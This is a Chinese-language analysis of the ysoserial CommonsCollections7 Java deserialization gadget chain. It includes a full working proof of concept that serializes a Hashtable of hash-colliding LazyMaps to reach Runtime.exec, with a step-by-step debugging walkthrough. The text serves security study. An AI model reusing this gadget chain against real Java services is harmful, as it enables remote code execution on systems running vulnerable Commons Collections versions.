Ysoserial Commons Collections7分析
寫在前面
CommonsCollections Gadget Chains | CommonsCollection Version | JDK Version | Note |
---|---|---|---|
CommonsCollections1 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之後已修復不可利用) | |
CommonsCollections2 | CommonsCollections 4.0 | 暫無限制 | javassist |
CommonsCollections3 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之後已修復不可利用) | javassist |
CommonsCollections4 | CommonsCollections 4.0 | 暫無限制 | javassist |
CommonsCollections5 | CommonsCollections 3.1 - 3.2.1 | 1.8 8u76(實測8u181也可) | |
CommonsCollections6 | CommonsCollections 3.1 - 3.2.1 | 暫無限制 | |
CommonsCollections7 | CommonsCollections 3.1 - 3.2.1 | 暫無限制 |
CC7和CC1差不多,只是觸發LazyMap.get()
的方式不一樣,反序列化的入口點變成了Hashtable類
Payload method chain: 因為chain發生了一些變化,這裡貼出來先留個印象,放便後續除錯時理解
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"open -a Calculator"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}
PoC分析
前面部分基本都是CC1的老內容了,主要看下後面有關於Hashtable部分,主要是下面的一段程式碼
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
首先new了兩個HashMap物件,之後分別利用這兩個物件作為引數通過LazyMap.decorate()
方法new了兩個LazyMap物件
丟擲問題:注意這裡的LazyMap中的yy
與zZ
,這個命名是有說法的。
在reconstitutionPut
方法中,可以看到zZ
和yy
的hash是一樣的,但是重點在於index
的值,如果不符合語法會導致無法進入for迴圈也就觸發不了後續的利用鏈
(transformerChain是new的一個空ChainedTransformer物件)後續將這兩個LazyMap物件作為引數傳入hashtable.put()
方法並put兩次。丟擲問題:為什麼要put兩次?
除錯時發現在Hashtable#readObject()
方法有如下一個迴圈,在這個for迴圈中去呼叫的reconstitutionPut方法
第一次迴圈呼叫reconstitutionPut
方法時並不會走進chain中提到的equals
方法,因為tab[index]
的值是0,後面才會對tab[index]
進行賦值。
第二次才能進入for迴圈進而呼叫if判斷中的equals
方法,這也是為什麼hashtable要put兩次的原因
除錯分析
Hashtable#readObject()下斷點,debug,跟進到reconstitutionPut
方法
上面也提到了,第一次迴圈時並不能進入equals
方法,這裡略去,直接跟進到第二次迴圈的時候,呼叫的是LazyMap#equals
方法,繼續跟進,這裡呼叫的其實是org/apache/commons/collections/map/AbstractMapDecorator
的equals方法
呼叫AbstractMap
的equals
方法
在AbstractMap#equals()
方法中最終呼叫了LazyMap.get()
後續就是進入ChainedTransformer#transform()
方法,老生常談的東西了,最終是在InvokerTransformer#transform()
中反射呼叫exec
執行命令
END
至此CC1-7就都分析完了,後面幾個鏈分析的內容比較少,大部分都是前面的內容如果覺得不詳細可以看之前寫的CC1-3的文章,基本都涵蓋了後面分析時沒深入寫的老生常談的東西。後續應該會去跟一下ysoserial的原始碼,雖然之前分析URLDNS的時候就簡單看過如何生成payload。但是分析cc的時候就沒用ysoserial專案的原始碼(因為封裝的太多了:D)之後可能會把CC8-10拿出來寫成ysoserial的payload放進去。
Reference
https://www.anquanke.com/post/id/248169
https://www.cnblogs.com/nice0e3/